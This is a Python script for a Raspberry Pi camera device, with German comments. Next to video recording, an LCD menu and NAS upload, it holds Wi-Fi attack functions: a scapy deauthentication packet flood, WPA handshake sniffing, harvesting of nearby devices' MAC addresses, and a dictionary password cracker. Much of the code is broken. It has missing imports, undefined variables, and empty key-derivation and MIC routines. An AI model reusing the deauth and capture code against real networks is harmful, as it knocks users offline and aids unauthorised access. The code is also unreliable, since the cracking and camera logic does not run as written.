| 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589 |
- #!/usr/bin/env python
- # -*- coding: utf-8 -*-
- import threading
- import time
- import RPi.GPIO as GPIO
- import LCD_1in44
- import LCD_Config
- import cv2
- import json
- import os
- import shutil
- import subprocess
- import picamera
- from PIL import Image, ImageDraw
- from scapy.all import RadioTap, Dot11, Dot11Deauth, sendp
- class RaZero:
- # Der Konstruktor der Klasse, in dem die Initialisierung der GPIO-Pins, des Displays, der Kamera und anderer Variablen durchgeführt wird.
- def __init__(self):
- self.load_configuration("config.json") # Konfiguration laden
-
- # Initialisierung des Displays
- Lcd_ScanDir = LCD_1in44.SCAN_DIR_DFT
- self.LCD = LCD_1in44.LCD()
- self.LCD.LCD_Init(Lcd_ScanDir)
-
- # Kamera initialisieren
- self.camera = picamera.PiCamera()
- self.camera.resolution = self.video_resolution # Kameraauflösung
-
- self.display_width = 128
- self.display_height = 128
-
- self.init_gpio() # GPIO initialisieren
-
- # Eingabegerät über evdev initialisieren
- #self.evdev_device = evdev.InputDevice('/dev/input/eventX') # Ersetzen Sie 'eventX' durch den tatsächlichen Gerätepfad
-
- # Initialisierung von Variablen
- self.recording = False
- self.display_on = True
- self.menu_active = False
- self.current_menu = []
- self.menu_index = 0
-
- # Menüstruktur aus JSON-Datei laden
- self.load_menu_from_json("menu_structure.json")
-
- # Lock für Thread-Synchronisation
- self.lock = threading.Lock()
- self.record_interval = 300 # Aufnahmeintervall in Sekunden
- self.last_record_time = time.time()
- self.filters = {
- "none": None,
- "black_and_white": "none",
- "polaroid": "polaroid",
- "infrared": "negative",
- "blacklight": "negative",
- "oversaturated": "colorbalance:s=2",
- "overexposed": "brightness:120",
- "underexposed": "brightness:80",
- }
- self.active_filter = "none" # Aktuell ausgewählter Filter
- self.init_gpio() # GPIO initialisieren
- def load_configuration(self, config_file):
- """
- Lädt die Konfiguration aus der JSON-Datei.
- """
- with open(config_file, "r") as f:
- config = json.load(f)
- self.nas_address = config["nas_address"]
- self.local_mount_path = config["local_mount_path"]
- self.record_interval = config["record_interval"]
- self.menu_file = config["menu_file"]
- self.delete_after_upload = config["delete_after_upload"]
- self.video_resolution = tuple(config["video_resolution"])
- self.video_fps = config["video_fps"]
- self.pins = config["pins"]
- def init_gpio(self):
- """
- Initialisiert die GPIO-Pins für die Buttons.
- """
- GPIO.setmode(GPIO.BCM)
- for pin_name, pin_number in self.pins.items():
- GPIO.setup(pin_number, GPIO.IN, pull_up_down=GPIO.PUD_UP)
- def load_menu_from_json(self, filename):
- """
- Lädt die Menüstruktur aus einer JSON-Datei.
-
- :param filename: Der Name der JSON-Datei.
- """
- with open(filename, "r") as file:
- self.menu_structure = json.load(file) # Menüstruktur aus JSON laden
- def display_menu(self):
- """
- Zeigt das Menü auf dem Display an, einschließlich Symbolen und Untermenüs.
- """
- if not self.menu_active:
- return
-
- self.LCD.LCD_Clear() # Display löschen
- menu_item = self.current_menu[self.menu_index] # Aktuellen Menüpunkt abrufen
- self.LCD.LCD_ShowString(menu_item["DisplayName"], 10, 10) # Menüpunkt-Text anzeigen
-
- if self.recording:
- # Zeichnen Sie einen roten Kreis, wenn die Aufnahme läuft
- self.draw_recording_indicator()
-
- # Weitere Anzeigen für Symbole und Untermenüs hier hinzufügen
- def draw_recording_indicator(self):
- """
- Zeichnet einen roten Kreis auf dem Display als Indikator für laufende Aufnahmen.
- """
- image = Image.new("RGB", (self.LCD.width, self.LCD.height)) # Leeres Bild erstellen
- draw = ImageDraw.Draw(image) # Zeichnen-Objekt erstellen
-
- # Koordinaten für das Zeichnen des roten Kreises (untere rechte Ecke)
- circle_x = self.LCD.width - 12
- circle_y = self.LCD.height - 12
- circle_radius = 6
-
- # Kreis zeichnen
- draw.ellipse((circle_x - circle_radius, circle_y - circle_radius,
- circle_x + circle_radius, circle_y + circle_radius), fill="red")
-
- self.LCD.LCD_ShowImage(image) # Bild auf dem Display anzeigen
- def update_menu_index(self, direction):
- """
- Aktualisiert den Index des aktuellen Menüpunkts basierend auf der Richtung der Tastenbetätigung.
-
- :param direction: Die Richtung der Tastenbetätigung ('up' oder 'down').
- """
- if direction == "up":
- self.menu_index = (self.menu_index - 1) % len(self.current_menu) # Index verringern (zirkulär)
- elif direction == "down":
- self.menu_index = (self.menu_index + 1) % len(self.current_menu) # Index erhöhen (zirkulär)
- def handle_menu_select(self):
- """
- Verarbeitet die Auswahl eines Menüpunkts, entweder durch Anzeigen von Untermenüs
- oder Durchführen von Aktionen.
- """
- if not self.menu_active: # Menü ist nicht aktiv, schalte es ein
- self.menu_active = True
- self.current_menu = self.menu_structure # Setze das aktuelle Menü auf das Hauptmenü
- else: # Menü ist aktiv, verarbeite Auswahl
- menu_item = self.current_menu[self.menu_index]
- if "Submenu" in menu_item: # Wenn der Menüpunkt ein Untermenü hat
- self.current_menu = menu_item["Submenu"] # Wechsle zum Untermenü
- self.menu_index = 0 # Setze den Index auf den ersten Menüpunkt im Untermenü
- elif "Action" in menu_item: # Wenn der Menüpunkt eine Aktion hat
- self.perform_menu_action(menu_item["Action"]) # Führe die Aktion aus
- def handle_menu_navigation(self, direction):
- """
- Verarbeitet die Navigation im Menü, einschließlich des Zurückkehrens zu übergeordneten Menüpunkten.
-
- :param direction: Die Richtung der Tastenbetätigung ('left' oder 'right').
- """
- if direction == "left":
- if self.menu_active:
- self.menu_active = False # Menü deaktivieren, um zur Hauptanzeige zurückzukehren
- self.current_menu = [] # Setze das aktuelle Menü zurück
- else:
- self.display_on = True # Display einschalten, wenn es ausgeschaltet war
- elif direction == "right":
- menu_item = self.current_menu[self.menu_index]
- if "Submenu" in menu_item: # Wenn der Menüpunkt ein Untermenü hat
- self.current_menu = menu_item["Submenu"] # Wechsle zum Untermenü
- self.menu_index = 0 # Setze den Index auf den ersten Menüpunkt im Untermenü
- def perform_menu_action(self, action):
- """
- Führt die Aktion eines ausgewählten Menüpunkts aus.
-
- :param action: Die Aktion, die ausgeführt werden soll.
- """
- if action == "start_recording": # Beispiel: Aktion zum Starten der Aufnahme
- if not self.recording: # Wenn die Aufnahme nicht läuft
- self.recording = True # Aufnahme starten
- elif action == "stop_recording": # Beispiel: Aktion zum Beenden der Aufnahme
- if self.recording: # Wenn die Aufnahme läuft
- self.recording = False # Aufnahme beenden
- elif action == "turn_off_display": # Beispiel: Aktion zum Ausschalten des Displays
- self.display_on = False # Display ausschalten
- # Fügen Sie hier weitere Aktionen hinzu, die Sie definiert haben
- def record_thread(self):
- """
- Überwacht die Tasten und startet oder beendet die Aufnahme basierend auf den Benutzerinteraktionen.
- Führt die Aufnahme in Intervallen von self.record_interval aus.
- """
- while True:
- with self.lock:
- current_time = time.time()
- if self.recording:
- if current_time - self.last_record_time >= self.record_interval:
- self.camera.stop_recording() # Aktuelle Aufnahme beenden
-
- timestamp = datetime.datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
- filename = f"video_{timestamp}.mp4"
- source_path = filename
-
- self.set_exif_data() # Exif-Daten setzen
- self.apply_filter(self.active_filter) # Filter anwenden
-
- self.camera.start_recording(source_path, format="h264", quality=23,
- resolution=self.video_resolution, framerate=self.video_fps)
-
- self.last_record_time = current_time
- else:
- self.camera.stop_recording() # Aufnahme beenden
-
- time.sleep(0.1) # Kurze Verzögerung, um die CPU-Belastung zu reduzieren
- def display_thread(self):
- """
- Überwacht den Tastendruck des Display-Buttons und schaltet das Display ein oder aus.
- """
- while True:
- with self.lock:
- if not self.display_on: # Wenn das Display ausgeschaltet ist
- self.LCD.LCD_Clear() # Display löschen
- time.sleep(0.1) # Kurze Verzögerung, um die CPU-Belastung zu reduzieren
-
- # Überprüfen Sie den Tastendruck auf den Display-Button
- if GPIO.input(self.KEY3_PIN) == GPIO.LOW:
- self.display_on = not self.display_on # Schalte den Display-Zustand um
- time.sleep(0.2) # Vermeiden Sie mehrfache Tastendrücke in schneller Folge
- def menu_thread(self):
- """
- Überwacht die Tasten für die Menünavigation und -auswahl, zeigt das Menü an
- und verarbeitet Benutzeraktionen.
- """
- while True:
- with self.lock:
- if self.menu_active: # Wenn das Menü aktiv ist
- self.display_menu() # Menü anzeigen
-
- # Überprüfen Sie den Tastendruck auf die Menünavigation und -auswahl
- if GPIO.input(self.KEY_UP_PIN) == GPIO.LOW:
- self.update_menu_index("up") # Menüpunkt nach oben wechseln
- time.sleep(0.2)
- elif GPIO.input(self.KEY_DOWN_PIN) == GPIO.LOW:
- self.update_menu_index("down") # Menüpunkt nach unten wechseln
- time.sleep(0.2)
- elif GPIO.input(self.KEY_LEFT_PIN) == GPIO.LOW:
- self.handle_menu_navigation("left") # Zurück oder Display einschalten
- time.sleep(0.2)
- elif GPIO.input(self.KEY_RIGHT_PIN) == GPIO.LOW:
- self.handle_menu_navigation("right") # Untermenü anzeigen
- time.sleep(0.2)
- elif GPIO.input(self.KEY_PRESS_PIN) == GPIO.LOW:
- self.handle_menu_select() # Menüpunkt auswählen
- time.sleep(0.2)
- else:
- self.display_menu() # Menü anzeigen
-
- # Überprüfen Sie den Tastendruck auf die Menünavigation und -auswahl
- if GPIO.input(self.KEY3_PIN) == GPIO.LOW:
- self.menu_active = True # Menü aktivieren
- time.sleep(0.2)
- def capture_scaled_image(self):
- """
- Erfasst das Kamerabild, skaliert es auf die Displaygröße und gibt das Bild zurück.
-
- :return: Das skalierte Kamerabild als PIL-Bildobjekt.
- """
- stream = io.BytesIO() # Erstellen Sie einen BytesIO-Stream zum Speichern des Bilds
- self.camera.capture(stream, format='jpeg', use_video_port=True) # Kamerabild aufnehmen
-
- # BytesIO-Stream zurück auf den Anfang setzen und PIL-Bildobjekt erstellen
- stream.seek(0)
- image = Image.open(stream)
-
- # Skalieren Sie das Bild auf die Displaygröße
- image = image.resize((self.display_width, self.display_height), Image.ANTIALIAS)
- return image
- def set_exif_data(self):
- """
- Setzt die Exif-Daten für das aufgenommene Bild basierend auf den Einstellungen.
- """
- exif_data = {
- # Fügen Sie hier Ihre gewünschten Exif-Daten hinzu
- TAGS['Artist']: 'Ihr Name',
- TAGS['Copyright']: 'Ihr Copyright-Vermerk',
- TAGS['DateTime']: datetime.datetime.now().strftime('%Y:%m:%d %H:%M:%S'),
- # Weitere Exif-Tags können hier hinzugefügt werden
- }
- self.camera._set_metadata(exif_data)
-
- def apply_filter(self, filter_name):
- """
- Wendet den ausgewählten Filter auf die Kamera an.
- """
- filter_option = self.filters[filter_name]
- if filter_option is None:
- self.camera.image_effect = "none"
- else:
- self.camera.image_effect = filter_option
- def check_nas_availability(self, nas_address):
- """
- Überprüft die Verfügbarkeit des NAS-Servers.
- """
- try:
- subprocess.check_output(["ping", "-c", "1", nas_address]) # Beispiel für Linux
- return True
- except subprocess.CalledProcessError:
- return False
- def mount_nas(self, nas_address, local_mount_path):
- """
- Mountet das NAS-Verzeichnis.
- """
- subprocess.run(["mount", "-t", "cifs", f"//{nas_address}/share", local_mount_path])
- # Der Befehl oben ist ein Beispiel für ein CIFS-Share, bitte anpassen
- def upload_pending(self, nas_directory):
- """
- Lädt ausstehende Videodateien auf den NAS-Server hoch und entfernt sie danach.
- """
- if self.check_nas_availability(self.nas_address):
- for source_path in self.pending_upload:
- filename = os.path.basename(source_path)
- video_date = filename.split("_")[1] # Extrahieren des Datums aus dem Dateinamen
- target_directory = os.path.join(nas_directory, video_date)
- self.create_directory(target_directory) # Verzeichnis auf NAS erstellen
- self.upload_video(source_path, target_directory) # Video kopieren und entfernen
-
- if self.delete_after_upload:
- os.remove(source_path) # Datei löschen nach erfolgreichem Upload
- self.pending_upload.remove(source_path) # Aus der Warteschlange entfernen
- else:
- print("NAS Server ist nicht verfügbar.")
- def add_to_pending_upload(self, source_path):
- """
- Fügt eine Videodatei zur Warteschlange für das Hochladen hinzu.
- """
- self.pending_upload.append(source_path)
- def upload_video(self, source_path, target_directory):
- """
- Kopiert eine Videodatei auf den NAS-Server und entfernt sie danach.
- """
- filename = os.path.basename(source_path)
- target_path = os.path.join(target_directory, filename)
-
- if not os.path.exists(target_path):
- shutil.copy2(source_path, target_path) # Kopieren der Datei
- os.remove(source_path) # Entfernen der Datei von der Kamera
- def create_directory(self, directory_path):
- """
- Erstellt das Verzeichnis, wenn es nicht existiert.
- """
- if not os.path.exists(directory_path):
- os.makedirs(directory_path)
- def scan_wifi(self):
- """
- Scannt verfügbare WLAN-Netzwerke und zeigt das stärkste Signal auf dem Display an.
- """
- wifi_scan_result = subprocess.check_output(["sudo", "iwlist", "wlan0", "scan"], universal_newlines=True)
- networks = self.parse_wifi_scan_result(wifi_scan_result)
-
- if networks:
- strongest_network = max(networks, key=lambda x: x["SignalStrength"])
- self.display_wifi_info(strongest_network)
- self.current_menu.extend(networks) # Füge die Netzwerke dem Menü hinzu
- self.current_menu_index = len(self.menu) # Setze den Index auf das erste Netzwerk
- self.display_menu()
- else:
- self.display_message("Keine WLAN-Netzwerke gefunden.")
- def parse_wifi_scan_result(self, scan_result):
- """
- Analysiert den Scan-Ergebnis-Text und gibt eine Liste von WLAN-Netzwerken zurück.
- """
- networks = []
- lines = scan_result.split("\n")
-
- network = {}
- for line in lines:
- if "Cell" in line:
- if network:
- networks.append(network)
- network = {}
- elif "ESSID" in line:
- network["SSID"] = line.split(":")[1].strip().strip("\"")
- elif "Signal level" in line:
- signal_strength = int(line.split("=")[1].split()[0])
- network["SignalStrength"] = signal_strength
-
- return networks
- def display_wifi_info(self, network):
- """
- Zeigt die WLAN-Informationen auf dem Display an.
- """
- # Hier implementieren Sie den Code, um die WLAN-Informationen anzuzeigen.
- pass
- def send_deauth_packet(self, bssid, client_mac, count=1):
- """
- Sendet Deauth-Pakete an einen Client oder Access Point.
- """
- deauth_packet = RadioTap() / Dot11(type=0, subtype=12, addr1=client_mac, addr2=bssid, addr3=bssid) / Dot11Deauth()
-
- for _ in range(count):
- sendp(deauth_packet, iface="wlan0", verbose=False)
- def record_handshake(self, bssid):
- """
- Aufzeichnung eines WLAN-Handshakes.
- """
- #bssid = "Ziel_BSSID"
- #client_mac = "Client_MAC"
- handshake_packets = []
- def packet_handler(pkt):
- if pkt.haslayer(Dot11):
- #if pkt.addr1 == client_mac and pkt.addr2 == bssid:
- if pkt.addr2 == bssid:
- handshake_packets.append(pkt)
- if len(handshake_packets) >= 4:
- self.save_handshake_packets(handshake_packets)
- print("Handshake aufgezeichnet!")
- return True
- sniff(iface="wlan0", prn=packet_handler, count=0)
- def save_handshake_packets(self, packets):
- """
- Speichert die aufgezeichneten Handshake-Pakete in eine Datei.
- """
- with open("handshake.pcap", "wb") as f:
- for pkt in packets:
- f.write(pkt)
- def collect_client_macs(self):
- """
- Sammelt MAC-Adressen von Geräten in der Nähe.
- """
- client_macs = []
- def packet_handler(pkt):
- if pkt.haslayer(Dot11):
- if pkt.type == 0 and pkt.subtype == 4: # Probe Request
- client_mac = pkt.addr2
- if client_mac not in client_macs:
- client_macs.append(client_mac)
- #print("Neues Gerät erkannt:", client_mac)
- sniff(iface="wlan0mon", prn=packet_handler, count=0)
- return client_macs
- def check_passwords(self, handshake_filename, passwords_filename):
- """
- Überprüft Passwörter aus einem Wörterbuch auf Übereinstimmung mit dem Handshake.
- """
- with open(handshake_filename, "rb") as f:
- handshake_data = f.read()
- with open(passwords_filename, "r") as f:
- passwords = f.read().splitlines()
- for password in passwords:
- if self.check_password(handshake_data, password):
- print("Passwort gefunden:", password)
- return password # Passwort gefunden, beenden Sie die Schleife
- print("Kein übereinstimmendes Passwort gefunden.")
- return None
- def check_password(self, handshake_data, password):
- """
- Überprüft ein Passwort auf Übereinstimmung mit dem Handshake.
- """
- # Berechnen Sie den Hash des Passworts und vergleichen Sie mit dem Handshake
- hash_calculated = hashlib.pbkdf2_hmac("sha1", password.encode(), ssid.encode(), 4096, 32)
- pmk = self.calculate_pmk(hash_calculated)
- ptk = self.calculate_ptk(handshake_data, pmk)
- calculated_mic = self.calculate_mic(ptk, handshake_data)
- # Vergleichen Sie den berechneten MIC mit dem MIC im Handshake
- # Hier hängt es von der Struktur des Handshake-Datenformats ab
- if calculated_mic == handshake_mic:
- return True
- else:
- return False
- def calculate_pmk(self, password):
- """
- Berechnet den Pairwise Master Key (PMK) aus dem Passwort.
- """
- return hashlib.pbkdf2_hmac("sha1", password.encode("utf-8"), ssid.encode("utf-8"), 4096, 32)
- def calculate_ptk(self, handshake_data, pmk):
- """
- Berechnet den Pairwise Transient Key (PTK) aus dem Handshake und dem PMK.
- """
- # Hier benötigen Sie den genauen Algorithmus zur Berechnung des PTK
- # Basierend auf dem Handshake-Datenformat und dem PMK
- pass
- def calculate_mic(self, ptk, handshake_data):
- """
- Berechnet den Message Integrity Code (MIC) aus dem PTK und dem Handshake.
- """
- # Hier benötigen Sie den genauen Algorithmus zur Berechnung des MIC
- # Basierend auf dem PTK und dem Handshake-Datenformat
- pass
- def run(self):
- """
- Startet die Threads für Aufnahme, Display und Menü und lässt die Anwendung laufen.
- """
- nas_address = "NAS_IP_Adresse" # Hier die tatsächliche IP-Adresse des NAS eintragen
- local_mount_path = "/pfad/zum/lokalen/mount" # Lokaler Pfad zum Mounten des NAS
- self.pending_upload = [] # Liste der Videodateien, die auf das Hochladen warten
-
- record_thread = threading.Thread(target=self.record_thread) # Aufnahme-Thread
- display_thread = threading.Thread(target=self.display_thread) # Display-Thread
- menu_thread = threading.Thread(target=self.menu_thread) # Menü-Thread
-
- record_thread.daemon = True
- display_thread.daemon = True
- menu_thread.daemon = True
-
- record_thread.start()
- display_thread.start()
- menu_thread.start()
-
- try:
- while True:
- # Hauptprogrammschleife
- pass
- except KeyboardInterrupt:
- # Programm beenden, wenn eine Tastaturunterbrechung erfolgt
- GPIO.cleanup() # GPIO-Pins aufräumen
- if __name__ == "__main__":
- app = RaZero()
- app.run()
|